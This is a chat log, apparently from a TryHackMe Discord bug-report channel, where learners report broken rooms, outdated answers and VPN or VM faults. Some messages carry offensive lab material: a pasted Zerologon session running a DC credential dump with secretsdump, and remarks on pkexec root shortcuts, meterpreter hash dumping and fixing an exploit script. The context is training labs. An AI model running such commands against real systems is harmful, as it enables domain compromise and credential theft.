[tawny osprey]

yeah it's chmod -s, capital S there is case ignored so it counts as correct

[eternal summit]

That's incorrect

It shouldn't be accepted, it's just within tolerance.

[tawny osprey]

I meant on the questions

when I actually ran the bash script is had lower case s

does 755 / 645 actually matter given that you end up changing the x to s anyways?

[eternal summit]

Yes, because you're only changing one of them in that case. Please see my earlier messages about what 755 means and the difference between S and s.

[tawny osprey]

oh I get it now, ty

[junior shore]

Windows internals room - Virtual machine does not connect

[calm frigate]

Done!

[quaint sparrow]

@dusky junco

[calm frigate]

Done!

[dusky junco]

ta:)

[noble needle]

Problem with /room/intromalwareanalysis

It wants us to have a look at the existing report from given date and platform on hybrid-analysis based on the hash of redline.
When you do, well..
https://hybrid-analysis.com/sample/e8ba49a75de083cb786e8ed84972affa11542dd913f1a07b0d44e1d45e5e22e9/622f708708751066e8250d8e

The analysis doesn't exist anymore.

[noble needle]

/room/phishingemails4gkxh has a terrible example of "how public key cryptography works."
Shows a demonstration of how it can be used to verify sender, but useless as per secure messaging.

(It's one way, but hardly the best way, nor what the wording and image imply.)

(Also a broken link on this same task I guess I could've mentioned that too ^_^;)

[frank sparrow]

Why is it that when I'm in Windows PrivEsc room with xfreerdp running and I extend the time before it expires, it disconnects my RDP and then I can't even ping the target anymore?

[quaint sparrow]

How long has passed on the timer?

[pastel lark]

At https://tryhackme.com/room/wiresharkpacketoperations, Task 5, the last question: What is the number of "type A DNS Queries" - expecting two-digits number, however Wireshark offers me only 3-digits one answer.

[crisp quiver]

Hello good people. Just finished SDLC room and found a typo in materials. Specifically - Task 4 SDLC Phases Part 2 - Chapter 7. Operations and Maintenance. The text goes "As example of this would be Vagrant or Ansible. The code controlling operations systems must be stored, versioned, secured, and maintained.". I think it should be "An example...". Thanks. Keep up the good work.

[manic raft]

Junior Pentesting Learning Path, Cross-Site Scripting room xssgi Task 6: Blind XSS links to xsshunter.com, this website is deprecated, no longer maintained and sign in has been disabled

[frail swan]

I’ve just run into this myself.. wondering the same 🤔

[viral gorge]

Burp Suite: Intruder Task2: What is Intruder :
In some Burpsuite versions in Intruder Options changed name to Settings

[granite veldt]

Just here to report the same issue with ssh and Linux forensics. Username is actually lowercase ubuntu, password didn't work, and ssh only allowed public key auth.

To fix I did open split view to modify /etc/ssh/sshd_config to re-enable password authentication, restarted sshd with systemctl, then changed ubuntu's password to match the room using a sudo -i session. Can log in fine after quick bit of Linux admin lol

[granite veldt]

Huh, similar thing for Intro to Malware Analysis, in this case the ubuntu account credentials didn't work, but that's all this time. Both rooms are by umairalizafar. Guessing this hasn't come up as much since more people use split view more often than ssh via VPN

No big deal, yet again just reset the credentials using sudo -i and passwd

[quaint sparrow]

I know one of the malware rooms is advised to be done in the attackbox, to avoid people putting malware on their vm

[granite veldt]

Yeah this intro one is just even more preliminary than the other existing Malware Analysis rooms. The credentials here do not work in ssh, but to be fair this room leaves vague what the credentials are for

[sonic delta]

hello

[stone spade]

Is this the right place to report broken images in rooms?

[quick violet]

yes

[stone spade]

the shodan room: https://tryhackme.com/room/shodan has some broken images

[quick violet]

@green steppe

[stone spade]

I also want to point out that several answers in the shodan room are outdated and the results shodan reports have changed

[eternal summit]

I'm almost certain there's a big bold disclaimer about this as it's not feasible to keep updating the answers

[whole oxide]

I am in Windows Forensics 2 and the VM says the requested connection doesn't exits - does the VM just not exist anymore, or is it a network issue?

[snow nexus]

In the Network Services 2 room, Task 2 there seems to be a broken img link

[narrow robin]

In the Advent of Cyber 2 [2020] room, task7, the reverse shell is not uploading, normal ?

[placid abyss]

@gleaming shadow free nitro!1!1!!1

[calm frigate]

Done!

[teal barn]

The exploit https://github.com/Nwqda/CVE-2022-26134 linked for this room https://tryhackme.com/room/cve202226134 is dead (github user account removed).

[vivid star]

In the Burp Suite Room in Task 7 at

In which User options sub-tab can you change the Burp Suite update behaviour?

The answer "misc" is no longer correct in the newer versions of Burp.

[hazy tiger]

Known issue^

[vivid star]

I don't see it in #1092490706385383524 ?

[hazy tiger]

Mhm

[sharp citrus]

@hazy tiger

or might @raw bison

[rugged canyon]

saw juun active in #general recently

[sharp citrus]

@queen sphinx then

[raw bison]

Mhh

[sharp citrus]

gotta ping them all

[raw bison]

-ban 937434386364792914 Nitro scam

[livid escarp]

🔨 Banned EDCHAVESP#9519 indefinitely

[sharp citrus]

do i get cookie or smth 🙂

[raw bison]

https://tenor.com/view/cookie-sendcookie-bestie-politeonthinice-lilmoneybigboy-gif-19249828

[sharp citrus]

@raw bison

this is verified user =/

[raw bison]

-ban 385032386003599361 -ddays 1 Nitro scam

[livid escarp]

🔨 Banned 4s0ck3t#6967 indefinitely

[raw bison]

Happens to verified users too 😄

[sharp citrus]

true

[hazy tiger]

Ah was going to test the bot on them

[sharp citrus]

ok. ill ping you next time then hehe

[raw bison]

Tried TMM first, wasn't working

[hazy tiger]

Yup, I was grabbing the stack dump, I think discordjs has had an update

Seems to be fine

[wheat fractal]

Hello I’m doing « The Marketplace » room and I have find the ssh password and users but I cant have access to the machine.

I have check on the writeup and I have correct for the password, the ip adresse and the user’s name

Sorry for my English I’m French

[magic cliff]

https://tryhackme.com/room/rppsempire
The room does not load images.
Main Sections affected: "Listeners" and "Stagers"
but a few images do not load here and there

[calm frigate]

Done!

[blissful reef]

|| ||

[blissful reef]

is this considered to be updated ?

[eternal summit]

Pretty sure there's a big note in the room saying not to report these as bugs?

[sinful crystal]

In the room Vulnerabilities 101, task 4, the answer to the second question needs to be updated as the author has rebranded.

[carmine geyser]

Edit: not a bug, read the engagement terms and notes
Room URL: https://tryhackme.com/room/internal
Summary: Broken service
Additional Notes: (spoilers for people attempting): ||the wordpress site on target_ip/blog is broken, the theming doesnt work and any links on the website contain internal.thm instead of target_ip , making navigation difficult and login essentially impossible. ||

[dusky junco]

This is not necessarily a bug with the room, but more a problem with ||wordpress|| in general. You need to add the IP and domain that the ||wordpress ||is on to your /etc/hosts file 🙂 i.e.

TARGET_IP internal.thm and this

[carmine geyser]

I am genuinely stupid, thank you Ben for the helpful reply :)

[livid escarp]

Gave +1 Rep to @dusky junco

[dusky junco]

Not at all - it catches me out and others quite often too 🙂

[blissful reef]

Im asking cuz idk, 😭

[carmine tapir]

Sometimes, on virtual machines, directly on Tryhackme, I get this error: the requested connection does not exist. Please check the name and try again. Do you know where this error comes from, and how to fix it?

[molten gale]

Yup, I faced the same issue with one room, related to Windows
After trying so much, I gave up and used my own machine

I am facing an issue while accessing the learning paths, it keeps loading forever then I get a 404 error and/or 504 erros

[dull merlin]

has anyone had issues with viewing the learning path

i just get stuck on https://tryhackme.com/paths and nothing appears

[noble needle]

Yes, site/CDN issues presently.

[supple cloak]

Windows Fundamentals 1 box WINFUN1.1 appears to not be working. Launching the machines yields “The requested connection does not exist.”

[sturdy flint]

Hi, everybody. I have a question. I am going to the WREATH room network, but I cannot scan the port with nmap. It tells me that the target ip machine is down. What is the situation?

[quaint sparrow]

Are you on the Wreath VPN?

[sturdy flint]

yes

[unreal bough]

Very minor type that causes a command to be incorrect:
In the Snort room https://tryhackme.com/room/snort task: Operation Mode 1: Sniff Mode
If you find the first command in the exercise you will see it's sudo snort -v-i eth0 When I think it should be sudo snort -vi eth0
Hopefully this is seen as worth reporting on, sorry if this is too minor and seen as a waste of time. Thank you.

[vivid star]

Linux Fundamentals Part 1 - Task 7

I entered this wrong answer on accident and it got accepted??

[quaint sparrow]

possible answer tolerance

[vivid star]

Huh, didn't know that was a thing here. My answer wouldn't give the expected the result, so I don't think this should be allowed...

[quaint sparrow]

I don't know if it's question by question.

But I know for answers it does apply to, you'll get a larger tolerance for a larger answer,

[supple cloak]

WINFUN1.1 operational again

[wheat fractal]

The Persist Active Directory network module has a small bug, the persistad.ovpn config file present on the AttackBox has an error on line 14, data-ciphers needs to be replaced with cipher

I was wondering why my interface wasn't showing up, that is the root cause of the problem, changing this allowed me to connect.

[hazy tiger]

Which OpenVPN version does it use

[rugged canyon]

ooh smog is a rare user that actually not got openvpn 2.6.0 or later

[wheat fractal]

My AttackBox is currently running OpenVPN 2.4.4

[hazy tiger]

Your AttackBox or the TryHackMe attackbox?

[wheat fractal]

My aplogies, the TryHackMe web-based AttackBox

[hazy tiger]

@dusky junco Can you update the OpenVPN version on the AttackBox, please?

[rugged canyon]

huh so that slipped through the cracks

[wheat fractal]

it's fine now, but I saw a bunch of people voting for a reset, I guess they couldn't find the interface and they thought that there was something wrong with the network module instead

exploitingad.ovpn

persistingad.ovpn

Those are screenshots directly from the /root/Desktop/NetworkConfigs directory on the THM web-based AttackBox

[dusky junco]

Ah pants this is going to be quite a problem, right?

[hazy tiger]

Yes, VPN server update is going to stop users from using the networks

[dusky junco]

I've got quite a list of changes pending on the AttackBox but I still need to work through them but I'll look into getting an update out just for this

Ah balls

uhm, okay, alright, yeah. I'll work on it and try and get OpenVPN updated into prod ASAP

[hazy tiger]

No problem, please don't stress!

[wheat fractal]

I’m sorry for putting work on you guys on a Friday

[dusky junco]

no no, it's not your fault at all 🙂

[woven shadow]

the link given in the exifdata leads to an older version of cyberchef(?) and gives the wrong output. using the latest version of cyberchef gives the correct key https://tryhackme.com/room/pylonzf

there's supposed to be a website up on port 80 for this room but after waiting 10+ mins and restarting the box 3 times i couldn't get it running https://tryhackme.com/room/islandorchestration

[woven shadow]

not sure about the version or issue, but this is what i got using the url vs using locally downloaded v10.4 of cyberchef:

[wheat fractal]

Thanks a lot for updating the OpenVPN on the THM AttackBox guys 👍

Also, if it's not too much to ask, is there any plans to update msf on the AttackBox, I've been having sessions drop randomly, usually I run msfupdate on the AttackBox and most of the times it tends to fix the issue, just throwing this out there, it's not time critical or anything just an idea

[quaint sparrow]

AFAIK no.

Due the number of older rooms there is in THM.

A high number of older rooms require msf5

[wheat fractal]

Ahhh, forgot about that, no issue at all, thank you 👍

[livid escarp]

Gave +1 Rep to @quaint sparrow

[dusky junco]

hey 👋 msf was updated to 6.3.5 a few weeks ago on the attackbox. I haven't heard of sessions dropping out, but happy to look into it. Could you give an example of a room where this has happened so I can try and replicate it please? 🙂

[quaint sparrow]

Oh! sorry Ben, I didn't know ( I don't use it) and seen about this in the past. (AoC 2022 IIRC)

[dusky junco]

Hey! No problem! It was a silent upgrade, so we're just looking out for the repercussions of it

[brazen palm]

Hi 🙂 I'm trying to solve Investigating Windows 3.x and it seems like sysmon's log file is missing 😦

I turned off the machine and turn it on again, the windows wallpaper ain't even loading 😦

[wheat fractal]

Yeah, no problem, it’s not one specific machine or anything like that. I usually just use meterpreter sessions to dump hashes and download files mostly, it’s just that sometimes when I’m running commands the session would randomly drop on me, it’s not time sensitive or any type of emergency so don’t worry about it too much Ben

[junior shore]

Sysmon room Task 10 VM is not booting up

something wrong?

"The requested connection does not exist"

[lone gazelle]

https://tryhackme.com/room/winadbasics

hi guys,
having a big trouble with this room.
The code to reset sophie's password, as suggested by the task, doesnt work and return's an error message: can you please help me out with this?

[quaint sparrow]

It's a user error, not a bug.

You have a space between the hyphen and verbose.

- verbose should be -verbose

[lone gazelle]

thank you very much!!!!!

[livid escarp]

Gave +1 Rep to @quaint sparrow

[copper tide]

@strong ether

The room is missing the virtual machine.

https://tryhackme.com/room/gettingstarted

[copper tide]

@green steppe

In version 1.9 of this room the parameter -q (quiet) was changed to -g (greppable).

https://tryhackme.com/room/rustscan

Thanks.

[livid escarp]

Gave +1 Rep to @green steppe

[sand hinge]

404 - page not found when clicking link related to target hack (Settlement agreement).

soc level 1 learning pathway > cyber kill chain > practice analysis > "settlement agreement" link.

[strong ether]

Good day. Thank you for letting me know. I just recently updated this room to fix some stuff, and for some reason, the VM disappeared. This is now fixed!

[livid escarp]

Gave +1 Rep to @copper tide

[deft solar]

Hello ! i have got a problem with 'vulnversity room. It says i still have one question to answer but when i go in it i already answered all. Thank you for your help 🙂

[distant pebble]

After talking to you and I went to check mine and realized I have the same issue.

[undone delta]

same issue here

[summer flare]

Hello all. Hope you are fine

In the room Sysinternals Task 3. It is asked to turn on network discovery. What I did. But after clicking on "save changes", network discovery keeps being on "Turn off network discovery" option. So I can't run \live.sysinternals.com\

[calm frigate]

Done!

[noble needle]

Is there a div tag with a "hidden" property or something?
That'd at least be easy to rememedy 😄

[fallow tide]

in Room "Intro to malware analysis" at task 6: there is no more entry on March 14th for that hash in Hybrid Analysis like the task tells us. Task is not solvable.

[raw bison]

Picked up on it, will be resolved soon I guess 🙂

[waxen cosmos]

The green start machine button is not showing up in the task anywhere! I am in the room: https://tryhackme.com/room/operatingsystemsecurity#

[sharp citrus]

indeed. the button is missing
@glad badger might help

[copper tide]

Hello,

I believe I found an error in the last option of this room:

https://tryhackme.com/room/javascriptbasics

[glad badger]

I've forward this to our team. Thank you for reporting. 🙏

[livid escarp]

Gave +1 Rep to @waxen cosmos

[eternal summit]

Remove the spaces? What's the answer format provided like?

[serene mango]

operating system security task 3 also does not give the target ip address.When will this bug be resolved ?

[sharp citrus]

it's known to THM. will be fixed

[sage cairn]

Hey everyone. I'm doing the Operating System Security's room and in the last question I have a bug I can't see the green button "Start the attached machine by clicking on the green “Start Machine” button at the top right of this task".

[sharp citrus]

is known bug. thm staff is fixing it soon

[summer flare]

No one is facing this issue ?

[rugged canyon]

not faced it yet as have not done that room yet

[serene mango]

Me too

[frank burrow]

https://tryhackme.com/room/vulnversity

for me this room is completed and in the learning path says that is not completed and don't give me any certificate

[raw bison]

#1092490706385383524 🙂

[frank burrow]

ohh thank you, I just open discord now to report this situation. next time I search before in the rooms

[livid escarp]

Gave +1 Rep to @raw bison

[raw bison]

Sure not an issue, still appreciated reporting it 🙂

[frank burrow]

thanks for your time 🥺

[raw bison]

Should be fixed, thanks for reporting 🙂

[livid escarp]

Gave +1 Rep to @fallow tide

[cedar meteor]

hey yo. i've been trying to redo this room https://tryhackme.com/room/vulnversity but have been encountering problems with directory discovery.

[inner hull]

Room URL: https://tryhackme.com/room/intromalwareanalysis
Summary: Provided credentials not accepted by VM
Additional Notes: On Task 4, credentials ubuntu:123456 are provided for accessing the machine. Machine however does not seem to accept the provided password.

[cedar meteor]

it kept prompting this error. i've tried resetting the machine but same error. tried using dirbuster and it also prompted connection refused XD

[steep crypt]

Hi, In Vulnversity via CompTIA Pentest+ it's show that i didn't finish the room while i finished everything, is that a bug?

[quick violet]

#1092490706385383524

[steep crypt]

does it mean we need wait to a fix?

[quick violet]

yeee, sadly

[full horizon]

Room URL: https://tryhackme.com/room/burpsuitebasics#
Summary: Incorrect answer for Task 7
Additional Notes: Task 7 (Options) answer to "In which User options sub-tab can you change the Burp Suite update behaviour?" does not accept the correct answer based off Burp Suite Community Edition version 2023.3.5

[rugged canyon]

yeah think the room is a bit outdated

[full horizon]

yea, just spotted that the hotkeys question is outdated too

[indigo zinc]

Hey guys, I am having issues with the upload vulnerability room. I try to search the given url: overwrite.uploadvuln.thm like it says, but it wont bring my to any site

[buoyant kelp]

Hey guys, not a Bug but potential security issue. I was working on the room "c4ptur3-th3-fl4g" yesterday. In Task 2 there is a hint recommending audacity as a tool. There is a fake website (wich was the first google result for me) thats known to spread malware. Domain-grabbing should be considered as a threat imo. Maybe someone of the staff should have a look here.

[steep crypt]

Hi on room: Post-Exploitation Basics
i'm trying to connect via rdp with the pass P@$$W0rd. in ssh it's ok, on rdp it's not working

Password incorrect via rdp

[sonic talon]

I already complete the begginer path but the vulnversity room seems bugged... and i cant declare my certification..What can i do for this problem?

[hazy tiger]

#1092490706385383524

[feral crystal]

Hi, it seems like the bug is due to the Vulnversity room, that, even if completed at 100%, result at 99% in the path.
In fact 3 paths that i've already copmpleted at 100% is now at 99% and Vulnversity seems incomplete even if it is at 100%.

Edit: i saw now that the bug is already attributed at Vulnversity

[quaint sparrow]

#1092490706385383524

[ionic cipher]

is there a known issue for the SQL Injection room? I'm on task 6: Blind SQLi - Authentication Bypass. I got the flag but its telling me it's not correct.

nvm, I realize it was the flag for the previous task lol. I had to click on next level to get the new flag.

[wheat fractal]

Is anyone else having issues with the Mr.Robot room badge?

[wheat fractal]

I think this is the best place to post this (if a diff channel is better please let me know)

In the room Ra, you need to installed spark 2.8.3, but it relies on openjdk-8-jre and oracle-java8-jre, but the kali 2023 image does not have access to this older version

So, should an update to the room state that it must be completed using the attack box? I've tried to find an older version and as or right now, I can't seem to find an archived version. The opens I am finding are like update 300 and such which I think is to new for this install

[quaint sparrow]

What's the bug?

I've always taken that as

it's [age < 17] If the age is older then they're able to drive, so the code runs.

However, that might not be the approach the room creator was aiming for.

[hazy tiger]

I think they're right?

[quaint sparrow]

Yeah, looking at it.

[hazy tiger]

> More than
< Less than

Can you send the room URL @blissful reef

[blissful reef]

https://tryhackme.com/room/pythonbasics

[blissful reef]

yeah needs to be less than 17 not above

[hazy tiger]

Reported

[hazy tiger]

No the room is right 😆

If age is less than 17, you cannot drive

Elif age is more than 17, you can

Thanks to Munra

[agile mason]

introtodocker room (NEW) icon is small/bugged

[hazy tiger]

lmao that's funny

@dusky junco

[dusky junco]

Hahahaha

My thm profile is bugged to high heavens as it is so I'm not surprised

[hazy tiger]

It looks adorable ngl

[placid abyss]

The room is wrong no?

[hazy tiger]

How?

Wait it is

[placid abyss]

Should be "below 17"

[agile mason]

Yep, that's wrong

[placid abyss]

How the heck did that go unnoticed

[agile mason]

it happens 😄

[placid abyss]

sure but that room is pretty old

[blissful reef]

@hazy tiger i was talking about the sentence in the ( )

[agile mason]

tbh when I solved that room I didn't read much as I was already good at python, I was just moving down and solving, I bet some people noticed but never reported

[blissful reef]

(age is above 17)

[hazy tiger]

It’s important you explain bugs when you post them^

[blissful reef]

yup i was busy sorry

See it say if the Condition age < 17 is true ( age Above 17) the Code inside the if statement is gonna run

which is the opposite thing

Basically it says if age < 17 in other word ( age ABOVE 17 ) the Code inside the if statement is gonna run

and it suppose to be ( AGE Less than 17 )

[blissful reef]

got it yet?

[placid abyss]

we got it...yes

[blissful reef]

I am Decent with python too but since the Sentence was Highlighted with ( ) so..

[blissful reef]

Thanks Jay ❤️

[livid escarp]

Gave +1 Rep to @placid abyss

[undone egret]

Vulnversity is bug? I just answered all the questions but I can't complete the room (95%), I've repeated the room twice

[wispy geode]

it's a bug, yes, they're working on it #1092490706385383524

[wheat fractal]

Yo, I think the Burp: Repeater room is broken

[placid abyss]

how so?

[wheat fractal]

So in Task Nr. 7 the goal is to trigger a 500 status code

But it doesn't give me a flag. I tried everything and after reading in a walk through I realized that not even the input that was used in the walk through worked for me

Its always:
500
No entries found with that ID

And in the walk through it says
500
FLAG

[hallow epoch]

What payloads are you trying? Could you share a screenshot of what you are trying… maybe I can help 🤷‍♂️

[wheat fractal]

I can give u the payloads I tried. I don't have discord on my laptop so I don't prefer screenshots

Payloads I used:
0
-1
6
999
9999999999999999
'
!

[hallow epoch]

You could just use discord through your browser…

[wheat fractal]

Oh, didn't think bout that. Okay, if U wish I'll create some screens

Okay, for some reason the site doesn't load anymore. I'll be back, when it works again -.-

[flat socket]

Just found a (relatively) unintended privesc in the WWBuddy room, you can bypass the lateral privesc to jenny and go straight to root

@timber bone I can send you a guide on how I did it if you'd like

[noble needle]

Sometimes things like that are fixed on relaunch of the target machine. @wheat fractal

[static igloo]

Hello, in the left pane you can find Windows PowerShell under OpenSSH

[wheat fractal]

Question, I have a buddy I do these rooms with, and he noticed that most rooms can be completely bypassed and gain root via the pkexec, is this normal/intentional? Or should the older rooms be patched so this can't happen (since it's technically cheating)

[sage cairn]

Hey everyone. I'm doing the Operating System Security's room and in the last question I have a bug when i enter the ssh command and put the password the output is Permission denied, please try again. I really don't understand I read everything and did step by step but ...

[paper portal]

Hi guys i was doing vulnversity room on try hack me with myobile phone using termux and I had to completed half of it but after I connect the openvpn and tried to visit the webserver which was running on port 3333 I was getting an error I had even cross check that I connected to the VPN and everything was working fine but that error was still showing please help me

[noble needle]

There are several older rooms that are subject to new exploits.
Its encouraged to still trying to do them in the way the guide intends to learn the experience.
Especially since in the field, you're likely to find high profile CVEs like that are more miss than hit.

[noble needle]

What was the error?
Did you take a screenshot?
You can always confirm your VPN status with curl http://10.10.10.10

[timber bone]

You can send it if you want 🙂

[paper portal]

The error was:
'Unable to connect' after waiting couple of minutes, and when first time I can ping and also getting response but after sometime I won't getting the responses as well

[mellow locust]

hello i got an issue everytime i start the machine and the ip was given i cant do anything with that ip i cant ping or do nothing , so i cant do any hack cause the ip not working

[rugged canyon]

you need to either connect to the vpn using openvpn or use the attackbox to access the ip

[mellow locust]

ye iam connected with openvpn

i tryed both

but still i cant do nothing

[rugged canyon]

can you do curl 10.10.10.10/whoami ??? because if that returns an ip the vpn is working as intended if not there is a troubleshooting process to go through

[mellow locust]

ty

[coarse wharf]

Hello all, in the room (Soc lvl1 path) Threat Intelligence Tools on Task 7 I cannot use the data on the attached VM. Cannot download them as well

[dull flume]

Have 2 issues with the website:

1. Cant complete "vulnversity"
   When i click on it i am stuck in constant "Loading..."

2. Cant complete lab in "zer0logon" i run the commands for task 4 and get this output:

(impacketEnv) root@ip-10-10-34-167:~# python3 zero.py DC01 10.10.197.170
Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack.

(impacketEnv) root@ip-10-10-34-167:~# ~/impacketEnv/bin/secretsdump.py -just-dc -no-pass DC01$@10.10.197.170
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...
(impacketEnv) root@ip-10-10-34-167:~#

[agile mason]

For issue #1 see #1092490706385383524

[placid abyss]

thats not the issue...

The room isn't loading != room not showing as done

[agile mason]

I need enough sleep :\ my bad

[agile mason]

for issue #1 could you try to clear browser cache/try another browser?
I just opened it and it's working for me

[calm frigate]

Done!

[hard haven]

Hello All,

I am in Windowsprives20 room ,task6 (https://tryhackme.com/room/windowsprivesc20), it talks about absuing SeBackup Privilege

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

as per the output the SeBackupPrivilege is DISABLED , is it supposed to be enabled to be able to exploit this ??

if yes then the screenshot attached to this task should be changed

[eternal summit]

So, windows privileges are weird.
Even if they're disabled, you still actually have them, you just need to enable it

If you truly don't have that privilege, it won't be displayed

[placid abyss]

https://tryhackme.com/room/ret2libc Task 1 room links are private, specifically

https://tryhackme.com/room/ccghidra
https://tryhackme.com/room/introtox8664

[dusky junco]

This a community room. @silver turret is this your room?

[silver turret]

yep, should I remove them?

or what does it mean if they are private?

[dusky junco]

In this case, it means the room has most likely been retired/it is out of date. I'd remove them or replace them with URLs to content that you think is relevant on the search page i.e. https://tryhackme.com/hacktivities?tab=search&page=1&free=all&order=most-popular&difficulty=all&type=all&searchTxt=reverse

[silver turret]

Okay, got it, thanks

[livid escarp]

Gave +1 Rep to @dusky junco

[glad badger]

Both rooms have been retired. 🙂

[misty needle]

for the throwback network - I am having an issue on timekeep.throwback.local where after resetting the user's password, I login and just get a blank page. My pivoting configuration is working because I have compromised DC, and can access the initial login page of timekeep but cant login for further enumeration. if there are logs or commands I am using that I can provide I will. I have reset the lab all ready and can confirm that I have by having to reset my SSH fingerprint.

[silver turret]

It's updated. Should be okay now

[dusky junco]

yup! Thanks!

[livid escarp]

Gave +1 Rep to @silver turret

[wet orchid]

i have a problem with the new room capture
i tried all possible usernames and all of them returned this user doesn't exist

[hazy tiger]

#1104105935615565854

[cosmic plover]

Room bugs
Room URL: https://tryhackme.com/room/vulnversity
Summary: [Outdated room content]
Additional Notes: Same the end this room, stay with status not completed. Don't end the room, same 100%

[quaint sparrow]

#1092490706385383524

This is a known issue to the team.

[misty gull]

👋
Anywhere/way to report:

• typos in hint-patterns
• outdated/incorrect room answers

[eternal summit]

Here.

[misty gull]

https://tryhackme.com/room/windowsforensics1, Task 9: Q2 Answer pattern ******** **** ******** *.* *** ****** should be ******** ************ *.* *** ****** (extra space, not in the screenshot w/ the answer)

(Another submission once I've confirmed the info 👍 )

[eternal summit]

That'd be a site bug, those are auto generated

[misty gull]

If so, it's probably also expecting a space in the answer, which is (also) incorrect

[eternal summit]

Enter the answer and refresh the page, see what the "true" answer it's expecting is

[glad badger]

After checking, the answer pattern is correctly aligned with the expected answer. 🙂

[misty gull]

I just submitted the answer in the format I expect (without the space) and it was accepted...?

[hazy tiger]

Answer tolerance, if it’s 95% right, it will be accepted

[misty gull]

Very interesting feature!

So sounds like the expected answer could use an update (@glad badger confirmed the pattern matches the expected answer) - Where to send/post screenshots?

[glad badger]

The expected answer is the correct answer. No update is needed. 🙂

[misty gull]

The correct answer doesn't have that extra space (5 words, not 6)

[wheat fractal]

Room: Subdomain Enumeration
Task 6 - Virtual Hosts

The first subdomain found is "api"
The next one found is accepted as answer for first question.

Can't say if false positive because all three subdomains found don't resolve properly (added entry to /etc/hosts. acmeitsupport.thm resolves just fine, none of the subdomains do)

[quaint sparrow]

IIRC, this isn't a bug, if you use the attackbox the correct name will show up first.

[placid stirrup]

it's not a bug but i dind't find the right place to report this so

it's just a little orthography error

[sleek mulch]

windows internals task9 wrong flag

task 7 sorry

[quaint sparrow]

Which flag is wrong?

No, the flag isn't wrong.

There is a high probably chance you're entering the wrong character. (this one isn't a great one to copy from)

[glad badger]

Now I see what you mean. Will have to look at it later today. 🙏

[agile mason]

@misty gull I tried submitting without the space and it did work, but after refresh the actual correct answer will be replaced in the box and that answer has a space which means the author has put it with a space if I am not wrong

[misty gull]

Sounds consistent with:
#room-bugs message and #room-bugs message

[agile mason]

Indeed 👌 just wanted to clarify my thoughts on this :D

because I had similar concerns, see #site-bugs message

[craggy birch]

I am not sure if this is a bug or just me misunderstanding it. The task picture does not match the actual permissions of the file.

Room is:
Windows Fundamentals 1

[blissful reef]

i think this should be modified..

for this question the script name needs to have ".nse" short for Nmap Script Engine

wait hold on

nvm it worked lol

[clear birch]

Room = Burp Suite: The basics
Task 7 - answer MISC is not up to date with current attack box version of burp. I had to look up the answer as MISC settings is no longer at play

[midnight pier]

Morning. Would this be the right place to get help on a problem with one of the VMs in a room im having issues with?

[quaint sparrow]

What's the problem?

[quaint sparrow]

To get more accurate help.

Please state the room ( & task, if relevant)

[midnight pier]

Jr Penetration Tester > File Inclusion

Error response

Error code: 405

Message: Method Not Allowed.

Error code explanation: 405 - Specified method is invalid for this resource.

[quaint sparrow]

This isn't a bug.

[midnight pier]

Thats the error message whenever i try to load the website for any of the labs

[quaint sparrow]

You're trying to load up the website of the attackbox.

[midnight pier]

i am

[quaint sparrow]

You need to load up the IP in this link, when you press the green Start machine button.

When you press the green button, the ip will populate from the ip shown in the red box.

[midnight pier]

oh...my...god....

i cant believe i missed that

[quaint sparrow]

No worries!

This is the case for the majority of room tasks.

Some will open a seperate split screen machine.

[midnight pier]

yup i got it to load the page now

damn it, sorry about that. Clearly i need more coffee LOL
thank you!

[blissful reef]

Is this supposed to be port 21 or why does it say 20?

[quaint sparrow]

FTP is used on 20 and 21.

Port 20 is used to send the files between the server and the client.

[blissful reef]

ty so much

[livid escarp]

Gave +1 Rep to @quaint sparrow

[blissful reef]

So Port 21 for Control Channel and port 20 for Data Channel right?

[placid abyss]

Remember that it won't always use 21/20, same with other services - its just the "standard"

[scenic mica]

Hi! I'm starting the Linux Fundamentals course and started up the Ubuntu VM. I tried whoami and what was returned is root, but that answer was showing up as incorrect. I had to google it and found the correct answer, please see screenshot. Maybe I did something wrong when booting up the VM?

[wispy geode]

Linux Fundamentals which part?

[scenic mica]

linuxfundamentalspart1

[glad badger]

You started the AttackBox instead of the target machine. 🙂

[wispy geode]

you need to start the machine in task 3

[scenic mica]

ah that makes sense! Thanks for the help. I thought I might have done something wonky 😅

[wispy geode]

it's alright, always look for the machines in the tasks, the majority of the time you will need to interact with them from the AttackBox or your VM, but sometimes they start as a separate machine in your browser

[worthy turret]

Has anyone else had an issue with "Ra" where the spark messenger .deb image could not be downloaded on kali?

[quaint sparrow]

What error do you get?

[worthy turret]

When trying to install with sudo dpkg -i spark_2_8_3.deb: ```
dpkg: regarding spark_2_8_3.deb containing spark-messenger, pre-dependency problem:
spark-messenger pre-depends on openjdk-8-jre | oracle-java8-jre
openjdk-8-jre is not installed.
oracle-java8-jre is not installed.

dpkg: error processing archive spark_2_8_3.deb (--install):
pre-dependency problem - not installing spark-messenger
Errors were encountered while processing:
spark_2_8_3.deb```

[quaint sparrow]

Have you tried doing what the error says?

[quaint sparrow]

Have you pressed the start machine button?

Can you send a screenshot?

That's the ssh you've to access.

You see that, right?

Then you haven't started the machine.

Press the green button.

No, you started the attackbox.

That's a separate machine.

[worthy turret]

Yes, i am unable to install the dependencies since these packages cannot be found on kali. I was able to install spark on the attackbox, however there was another issue that lead to it crashing constantly.

[ocean solstice]

Hello, I think the empire room needs to be reviewed and updated, I have spent a considerable amount of time trying to install, first off the current release of empire does not have an appimage, i went with an older one but the ./empire —rest command does not work, it just says permission denied I tried changing it to an executable, it is a dir. I’m stuck

[thick stone]

OWASP Top 10 - 2021
Webservices aren't reliable. I'm able to establish a tcp connection but the websever do not anwser. Terminate and restarting machines don't fix it

[wheat fractal]

Room: Daily bugle

Apparently there's some backend version mismatches which invalidate majority of the exploits.
Details:
https://github.com/rapid7/metasploit-framework/issues/14149#issuecomment-1161947582

On a side note the one python script that was supposed to work is of an unknown python version, and I'm getting a weird str-bytes concatenation error with python3.11. Looking to fix that...

Solved the python issue.
In the relevant python script: ||change line 46 to value.decode()||
At least users and hashes are getting dumped. Can't get session to work properly yet.

[summer hare]

